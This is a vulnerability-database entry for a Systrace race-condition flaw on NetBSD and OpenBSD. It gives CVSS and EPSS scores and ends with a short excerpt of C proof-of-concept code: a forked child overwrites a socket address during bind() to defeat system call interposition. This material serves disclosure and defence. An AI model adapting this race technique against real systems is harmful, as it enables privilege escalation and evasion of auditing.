CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Multiple race conditions in the (1) Sudo monitor mode and (2) Sysjail policies in Systrace on NetBSD and OpenBSD allow local users to defeat system call interposition, and consequently bypass access control policy and auditing.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
6.2
AV:L/AC:H/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
1.76%
–
–
2022-03-27
–
–
1.76%
–
–
2022-04-03
–
–
1.76%
–
–
2022-04-17
–
–
1.76%
–
–
2022-08-28
–
–
1.76%
–
–
2023-03-05
–
–
1.76%
–
–
2023-03-12
–
–
–
0.04%
–
2024-06-02
–
–
–
0.04%
–
2025-01-19
–
–
–
0.04%
–
2025-03-18
–
–
–
–
0.13%
2025-03-30
–
–
–
–
0.12%
2025-04-15
–
–
–
–
0.12%
2025-04-15
–
–
–
–
0.12,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Publication date : 2007-08-08 22h00 +00:00 Author : Robert N. M. Watson EDB Verified : Yes
source: https://www.securityfocus.com/bid/25258/info
Systrace is prone to multiple concurrency vulnerabilities due to its implementation of system call wrappers. This problem can result in a race condition between a user thread and the kernel.
Attackers can exploit these issues by replacing certain values in system call wrappers with malicious data to elevate privileges or to bypass auditing. Successful attacks can completely compromise affected computers.
struct sockaddr_in *sa, restoresa;
/* Set up two addresses with INADDR_ANY. */
sa = fork_malloc(sizeof(*sa));
sa->sin_len = sizeof(*sa);
sa->sin_family = AF_INET;
sa->sin_addr.s_addr = INADDR_ANY;
sa->sin_port = htons(8888);
restoresa = *sa;
/* Create child to overwrite *sa after 500k cycles. */
pid = fork_and_overwrite_smp_afterwait(sa, &restoresa,
sizeof(restoresa), 500000);
error = bind(sock, sa, sizeof(*sa));